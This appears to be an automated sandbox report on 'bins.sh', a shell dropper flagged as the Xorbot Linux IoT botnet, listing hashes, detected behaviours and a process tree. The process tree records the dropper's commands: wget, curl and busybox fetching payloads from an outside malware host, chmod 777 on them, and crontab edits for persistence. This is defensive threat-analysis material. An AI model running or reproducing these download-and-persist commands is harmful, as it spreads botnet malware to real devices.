Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240508-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    18-02-2025 04:37

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General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    129dd74106c86f6d4928cda4bb98caa0

  • SHA1

    5edca1654f4802559af681b6818a0287a3e0021d

  • SHA256

    cc44fb06029f4ca74d159587bedf7dd8a9b1e8d88c4b7523cc0aa6d751cc9ce1

  • SHA512

    b0956892881551ac423d01b80701907e123bfae9d470d6925df04eba32d8343003ee1094241a18616af74cce2573009a7f40e60432b4ecbcc39aeb6f29459782

  • SSDEEP

    192:nSRNW23Cm1QA4b/mRxsJlsP/OwyNH/Cm1QAwb/mRxAJlsP/l:nSRNW2MJlsP/OwyNHEJlsP/l

Score
10/10
xorbotbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    • Renames itself
    • Reads runtime system information
    PID:1517
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:1518
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1519
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1523
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1525
      • /bin/chmod
        chmod 777 YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP
        2⤵
        • File and Directory Permissions Modification
        PID:1526
      • /usr/bin/crontab
        crontab -l
        2⤵
          PID:1530
        • /usr/bin/crontab
          crontab -
          2⤵
          • Creates/modifies Cron job
          PID:1532
        • /bin/rm
          rm YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP
          2⤵
            PID:1534
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
            2⤵
            • System Network Configuration Discovery
            PID:1537

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • /tmp/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP
          Filesize

          98KB

          MD5

          5141342d0df8699fa32a6b066a0c592e

          SHA1

          8157673225bd5182f16215e2aa823a25ca2d4fbc

          SHA256

          54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

          SHA512

          d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

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        • /var/spool/cron/crontabs/tmp.GLdexG
          Filesize

          210B

          MD5

          3b59dc2b32d99abaa1638b83519cf79e

          SHA1

          e455af5ef8c907bd039b84f27aa1cf7ef8a2adb4

          SHA256

          b34e55e60f02519b7f128dc83a0c98eac2c9a9d640649b3822dbe38e4f055e9b

          SHA512

          0dee48d58addf9b65bffccfd57ec853985e7c6a53c77f11278187db9a3f9c29c009810cf31d0ec6bc285d0f70a5755e42bbebc8b6e075e2b63660f240de03468

          Download Submit